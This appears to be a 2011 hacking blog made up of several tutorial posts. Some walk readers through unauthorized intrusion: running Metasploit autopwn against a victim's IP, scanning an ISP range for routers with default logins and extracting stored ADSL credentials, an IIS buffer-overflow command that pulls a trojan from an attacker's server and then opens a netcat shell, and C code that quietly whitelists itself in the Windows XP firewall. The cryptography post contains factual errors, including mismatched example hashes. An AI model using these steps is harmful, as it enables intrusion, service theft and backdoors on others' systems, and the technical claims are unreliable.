Saturday, June 18, 2011

Hacking with Nmap and Metasploit

Today I am writing a tutorial on hacking with Nmap with Metasploit.

First d/l Metasploit 3.3 from the official website,Link:

http://www.metasploit.com/

Let all that install, and towards the end of the installation it will ask if you would like Nmap installed also, choose yes. Once you have that installed the Metasploit screen will open up as shown below...

[Image: 1-2.jpg]

Now type db_create

Once you have typed that type nmap

This loads nmap, as shown below....

[Image: 11.gif]

You need to configure your scan now, I usually do a simple -sT -sV scan which will tell us the open ports and services running on the victims computer, Now type nmap -sT -sV xxx.xxx.xxx.x (X's being victims Ip number), Demonstrated below.

[Image: 11-1.gif]

Now give it 5 minutes to complete the scan,Once that is complete if your lucky you should get a response like this...

[Image: 12.gif]

This is basically a list of the open ports and services running on the target machine, Now the handy feature of the metasploit 3.3 framework is the autopwn feature, this basically searches and runs all matching exploits in the Metasploit database against the target machine and if successful will create a shell or similar privilege for the attacker.

Now once you have the nmap results delivered back to you showing the open ports and services type db_autopwn -p -t -e , From this point you will either have access to the victims computer through a successfully launched exploit or you will get a response saying the machine wasn't vulnerable to any of the exploits in the Metasploit database. Unfortunately on this particular machine I found it wasn't vulnerable as the image below proves.Good luck.

[Image: ff.gif]

Friday, June 17, 2011

Surfing Internet anonymously using TOR (it is the Same software used by famous WIKILEAKS website)

As far reading my other articles about anonymous surfing you have got to know that a proxy can hide your IP but it cannot be trusted because it may give away your identity if needed. But there Exist a away by which you can Surf Internet any No one can trace you even CIA , FBI or M15 cannot trace you. A example of it is WIKILEAK which use the the same software that I am going to tell you.

The Software’s name is TOR (THE ONION ROUTING) and it can be downloaded from (http://www.ziddu.com/download/12331095/vidalia-bundle-0.2.1.26-0.2.10-1.exe.html) for free.
Note: You need to install a Mozilla firefox add on which is included in package you have downloaded to use Tor.

Now follow the following Steps

1) Download the TOR and run it.
2) Open the 'Vidalia Control Panel' from the task bar and Click on 'Start Tor'.
3) Now open Mozilla Firefox browser, single click on red highlighted 'Tor Disabled' on right corner of browser and it will turn to green highlighted 'Tor Enabled'.

Thursday, June 16, 2011

The Difference Between a DoS and a DDoS Attack


What is the difference between the two?
Whilst DoS and DDoS sound remarkably similar there are in fact differences between the two -

DoS

A DoS Attack is a Denial of Service attack.
This means that one computer and one internet connection is used to flood a server with packets (TCP / UDP).
The point of such a denial of service attack is to overload the targeted server’s bandwidth and other resources.
This will make the server inaccessible to others, thereby blocking the website or whatever else is hosted there.

DDoS

A DDoS Attack is a Distributed Denial of Service Attack.
In most respects it is similar to a DoS attack but the results are much, much different.
Instead of one computer and one internet connection the DDoS attack utilises many computers and many connections.
The computers behind such an attack are often distributed around the whole world and will be part of what is known as a botnet.
The main difference between a DDoS attack vs a DoS attack, therefore, is that the target server will be overload by hundreds or even thousands of requests in the case of the former as opposed to just one attacker in the case of the latter.
Therefore it is much, much harder for a server to withstand a DDoS attack as opposed to the simpler DoS incursion.

Tuesday, June 14, 2011

What is Cryptography? Read Below!!

This is an article over some common forms of encryption and some examples of what they look like. this what i study and i share it out to all,from Edmund Liew

Cryptography-
Cryptography is often associated to encryption, or hiding information from others except the desired party. This usually involves having a certain knowledge of the encryption, also known as a key. This has been used for centuries by military and governments to hide and transfer data. For example, In ancient days, One King would shave a subjects head, then tattoo the message on the subjects head. This way the subject did not know what the message was either. Then, after his hair grew back, he would be sent to the other king and his head would be shaved, then when the king had the message, the subject was killed and the message was disposed of. So, step by step this is the general way an encryption works. First, find a viable way to hide the message. Second, Find a safe way to transport the message and, third decrypt the message. Now inside of each step there is a good amount of detail.

Encrypting the message-
There are many common ways to encrypt data. For instance, a shift cipher. In shift cipher you shift each letter a certain amount of letters in the alphabet. EXAMPLE: In a cipher with a key of one, you would switch each letter one letter in the alphabet. So A would become B, and a word like HIDDEN would become IJEEDO. Thus rendering the message illegible. Now the reason you would not want to use a simple shift cipher is because of how easy it is to "crack" the encryption. "Cracking" an encryption is basically brute forcing the key, or by gaining the key through other means such as: Trojans, Social Engineering or one of the other many ways. As for our shift cipher, also known as a "caeser cipher" if it is a shift of three or as ROT-13 if it is a 13 letter shift, It would be very easy to just decrypt the message by hand or to write a simple program that can decrypt the massage in mere moments.

The Difference Between Hashing And Encrypting-
Encryption is a scheme where an plaintext is made into ciphertext using a secure key. The security of the ciphers reside in the key length and decryption process is a difficult without proper knowledge of the key.

As for hashing, The best way to describe a has is a one-way function that compresses arbitrary length strings into fixed short strings. Hashes can be designed using block ciphers using a secret key as a parameter along with the message that has to be hashed or with out them (dedicated hash functions MD4,MD5,SHA-1 etc..).

Here I will describe a few common hashes, Along with why the are not secure, And some examples of what they look like.
MD5 (Message-Digest algorithm 5)-
MD5 was created in 1991 in order to replace the less secure MD4. Although a serious flaw was found in this form of encryption it is still widely used. Cryptographers Suggest the use of more secure algorithms such as SHA-1, or WhirlPool. MD5 is a 128 but hash which makes it rather small and thus makes it vulnerable to the birthday attack (which I will include at the end). The algorithm for MD5 is also open source which makes this form of encryption rather easy to break. Not only those but Md5 hashes are also vulnerable to man-in-the-middle attacks, and gain the first three characters, Enabling easier brute forcing on the hash.

Here are some examples of An MD5 hash:
Hidden: 662f707d5491e9bce8238a6c0be92190
Hellboundhackers: 07113826bfa7f58ef0ccf537ab9b5d0e

And here is the psudocode for it
Source: Wikipedia
//Note: All variables are unsigned 32 bits and wrap modulo 2^32 when calculating
var int[64] r, k

//r specifies the per-round shift amounts
r[ 0..15] := {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22}
r[16..31] := {5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20}
r[32..47] := {4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23}
r[48..63] := {6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21}

//Use binary integer part of the sines of integers (Radians) as constants:
for i from 0 to 63
k[i] := floor(abs(sin(i + 1)) × (2 pow 32))

//Initialize variables:
var int h0 := 0x01234567
var int h1 := 0x89ABCDEF
var int h2 := 0xFEDCBA98
var int h3 := 0x76543210

//Pre-processing:
append "1" bit to message
append "0" bits until message length in bits = 448 (mod 512)
append bit /* bit, not byte */ length of unpadded message as 64-bit little-endian integer to message

//Process the message in successive 512-bit chunks:
for each 512-bit chunk of message
break chunk into sixteen 32-bit little-endian words w[i], 0 = i = 15

//Initialize hash value for this chunk:
var int a := h0
var int b := h1
var int c := h2
var int d := h3

//Main loop:
for i from 0 to 63
if 0 = i = 15 then
f := (b and c) or ((not b) and d)
g := i
else if 16 = i = 31
f := (d and b) or ((not d) and c)
g := (5×i + 1) mod 16
else if 32 = i = 47
f := b xor c xor d
g := (3×i + 5) mod 16
else if 48 = i = 63
f := c xor (b or (not d))
g := (7×i) mod 16

temp := d
d := c
c := b
b := b + leftrotate((a + f + k[i] + w[g]) , r[i])
a := temp

//Add this chunk's hash to result so far:
h0 := h0 + a
h1 := h1 + b
h2 := h2 + c
h3 := h3 + d

var int digest := h0 append h1 append h2 append h3 //(expressed as little-endian)
SHA-1 -
SHA stands for Secure Hash Algorithm. This algorithm makes a 160 but algorithm. SHA-1 is only one of the many SHA-* styles, but it the most common and most secure. Some other SHA styles are: SHA-224, SHA-256, SHA-384, and SHA-512. These make a hash that is the amount of bits in their name. For example, SHA-224 is a 224 bit hash. The reason that this form of encryption is insecure is because a modified version of a collision attack can be performed and through this method you can get up to a quarter of the hash into plaintext. Thus making it cracked in principle.

Here are some examples of SHA hashes:

Hidden- 7acdf85c69cc3c5305456a293524386e
Hellboundhackers- 07113826bfa7f58ef0ccf537ab9b5d0e

SHA-2 and the others have no attacks reported, but SHA-1 has an attack based on a mathematical system that allows it to be cracked. Even though the others have no reported attacks, SHA-3 is in the making. This one will be the standard SHA in 2012, after the competition is over. This competition takes place from 2008-2011.
Common Encryption:

Binary-
Binary is a base-2 "language" used in computing to specify either on (1), or off (0). This was commonly used to make plaintext hidden from most people. Binary uses an 8-bit per character format that is very easily noticed by almost anyone, considering that is consist solely of 0's and 1's. These can be easily broken with a copy of any ASCII chart or a very easily written program. One other reason that it is not used, besides its insecurities, is the fact of how much space it takes to store a binary encryption, and how long it takes to encrypt things into binary. Think of it this way, For every one character of plaintext, there are 8 in binary. This means a relative large file will not only take a long time to encrypt, It will also be a massive file to transfer.
DES -

DES is based on a symmetrical key algorithm that has a 56 bit key. Now this is the chief reason that this form of encryption is so insecure is the rather small size of the key. There are public programs that can break a DES encryption in 22 hours and 15 minutes. These have made the US along with many other countries turn to more secure means of encryption.

Examples:

Hidden: CREAE8aHr13jY
Hellboundhackers: CRNg1HW8ckWJk

Base 64- Base 64 uses 64 printable ASCII characters to encrypt data. The characters are A-Z, a-z, and 0-9. Then The other two vary from OS to OS. Sometimes this also includes a suffix of an = operator. Base 64 is often very easily identified and can easily be deciphered with an easily accessible algorithm to decrypt it.

Hidden: SGlkZGVuIA==
Hellboundhackers: SGVsbGJvdW5kaGFja2Vycw==

And there are many many others.

Creating your own:

So you think you may want to create a more secure encryption method? Well your in for a surprise at how challenging it really is. First you have to come up with your encryption style... rather it be algorithm based or something else. Then, you must decide on transferring the Key and how. This must also be secure. Then on decrypting the cipher.
Well one problem you will face is what is a secure algorithm and what is not. The more advanced the algorithm does not mean a more secure encryption. Also another problem is how fast the program can do the algorithm. An advanced algorithm may be secure, but if it takes three days to decrypt with the key, Is it worth using? And then with the key, there are a few ways to transfer the key safely. One way is like the spy movie, a guy with a briefcase handcuffed to his wrist. A more feasible way would be to meet the person and exchange it. or you could just use a more common encryption method and send it to them in e-mail. Or one last slow way would be to Mail them the key. Either way you must decide how you will keep it secure on the way.
Some common attacks on cryptography:

DoS-
DoS (Denial of Service) attacks are when someone tries to make a service or action incapable of usage. One very unlikely method, But possible, would be cutting the victims internet cable. This renders them incapable of accessing the said source. Although this attack is usually used on a web-server, this can also be used to stop an encryption from ever reaching its intended party. Another way this attack could be carried out would be to send a server a massive amount if request, and keeping the server busy.

Man In The Middle (MITM)-
MITM is where the attacker makes a connection with the host then passes the message to the other host, making them believe that they are talking directly to each other over a private connection although the conversation is controlled solely by the attacker. The attacker then would intercept messages and send new ones.
Birthday Attack-
In this attack you use mathematics to exploit collisions. This is a rather formidable attack because of how efficient it is, especially if the function hold a lot of matches in the psudorandom lookup of matches in collisions.

Cryptanalysis-
cryptanalysis is also known as code breaking or cracking a code. Although this does not necessarily imply encryption, it is one major part of cracking. this form usually excludes attacks such as the ones mentioned above, social engineering, burglary, or keylogging. In the past one way to crack an encryption was to use a frequency analysis, or seeing what type of characters appear most. For instance the letter "E" is the most common in English, and the digraph "TH" is the most common. In practice it relies on as much linguistic knowledge as it does statistics. As encryption got more and more detailed, mathematics became more of a major player in cracking. In modern times the advanced computations in an encryption have made cryptanalysis less of a key player, than in the past when pen-and-paper encryptions were used.
So in order to sum this up, I will use this quote.
"Breaking a cipher simply means finding a weakness in the cipher that can be exploited with a complexity less than brute force. Never mind that brute-force might require 2^128 encryptions; an attack requiring 2^110 encryptions would be considered a break...simply put, a break can just be a certificational weakness: evidence that the cipher does not perform as advertised."

Saturday, June 11, 2011

Hacking Routers - FREE ADSL

Hacking ADSL Routers for free accounts


Most of the people never change their default passwords no matter what it is, they don't change them because they think that they are safe. In this tutorial I'll show you one of the ways how to use this mistake and get free ADSL/Wireless (If wireless router is used) accounts and enjoy in unlimited downloads.

First we will download the necessary tools:

1.) XPass
2.) Angry IP Scanner v3.0.4 Beta
3.) If you don't have Java installed, download and install it here: JAVA

You will also need to have version 8 OR older of Internet Explorer.


Ok so let's start with getting the job done:

1.) Go to WhatIsMyIp
and check your IP address, let's say that your current (ADSL providers usually give you dynamic IP's) IP is 67.140.112.83, you will change the last two groups of numbers.

2.) Open Angry IP scanner it will look like this:

[Image: pic1hr.png]


Now where it says IP range in the first input field we'll enter our IP address 67.140.112.83 (but we'll change the last two-or three digits, in this case there are two to zero) so it will be like this: 67.140.112.0

And in the second input field we will enter the IP with changed last two groups of numbers so it actually has something to scan, we'll change it to:

67.140.150.254

And before we click scan we need to set some options so it only shows us alive hosts:

Click Tools and then click preferences:

[Image: pic2q.png]

Then under the under the ports tab under Port Selection type 80 'cos we will be interested in hosts with port 80 opened:

[Image: pic3hi.png]

And on the display tab choose "Hosts with open ports only":

[Image: pic4e.png]

Then click OK to save the preferences and click start:

[Image: pic5f.png]

After few seconds or minutes you should see your first IP addresses:

[Image: pic6c.png]

Now just select one of the IP addresses and open it with INTERNET EXPLORER!!!

It will ask you for a login credentials:

[Image: pic7kh.png]

Now here comes the mistake people often make, default username and password, in this case it was admin:admin but you can look for default router passwords and usernames, so when I logged in it looked like this:

[Image: pic8.png]

Now for most of the routers (atleast the ones I had exp. with) you can find username in plain text and password covered with *'s when setting up a new connection, so just look for something that says connection wizard or connection setup, and follow the steps till you find the username and password as mentioned.

So why did we use Internet Explorer for this??

Because XPass works only with IE, we couldn't figure the pass out if we used Firefox or Chrome or Opera.

And now when we have the page where username and pass. are just open XPass click on the X sign and drag it over the *'s and you will have this:

[Image: pic9v.png]

And password in this case is: 854179

Regard
Edmund Liew

Learn How To Hack Web Servers

Hacking Tool: IISHack.exe

iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.
c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe
www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on, www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.
"IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.
A sample exploit can be constructed as shown below:
To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.
To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.
c:\>iishack.exe  80 /ncx.exe 
The attacker can then use netcat to evoke the command shell
c:\>nc  80 
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.


IPP Buffer Overflow Countermeasures

  • Install latest service pack from Microsoft.
  • Remove IPP printing from IIS Server
  • Install firewall and remove unused extensions
  • Implement aggressive network egress filtering
  • Use IISLockdown and URLScan utilities
  • Regularly scan your network for vulnerable servers
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.
As with many IIS vulnerabilities, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.
Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree.
With IIS, using IISLockdown and URLScan - (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.
Microsoft has also released a patch for the buffer overflow, but removing the ISAPI DLL is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.


ISAPI DLL Source disclosures

  • Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible.
  • This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file.
  • appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.
IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords.
HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.

Attack Methods
Exploit / Attack Methodology
By making a specially formed request to IIS, with the name of the file and then appending around 230 + " %20 " (these represents spaces) and then appending " .htr " this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.
ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.
"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.
If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.
The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.
".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.
The .htr vulnerability will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.
"Absent Directory Browser Argument" vulnerability: Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.

Thursday, June 9, 2011

How to Bypass Windows XP Firewall

How to Bypass Windows XP Firewall using C program.
Hello Friends, today i will share with you the technique using which we can bypass windows-xp service pack-2 firewall. Its a 100% working hack and its basically an exploit in windows XP.
This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.


Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.



Vulnerable Systems :-
* Microsoft Windows XP SP2
Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.If an attacker adds a new key to the registry address of
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List
the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Source Code :-

#include <*stdio.h*>
#include <*windows.h*>

#include <*ezsocket.h*>

#include <*conio.h*>

#include "Shlwapi.h"

int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];

HKEY hKey;
int i;

GetModuleFileName(NULL, filename, 1024);

strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");

RegOpenKeyEx(

HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);

RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;

struct sockaddr_in remote_addr;

fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Adnan Anjum\n");
fprintf(stdout, "Dedicated to hackguide4u \n");

sleep(3);

if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;

for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello Pakistan\r\n", strlen("Hello
Pakistan\r\n"), 0);
fprintf(stdout, "Sended: Hello
Pakistan\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

if (!strcmp(buffer, "quit"))
break;
}

ezsocket_exit();
return 0;
}

/* EoF */
Remove ** from the header files... easier to understand...Here we are just manipulating registry values using this program...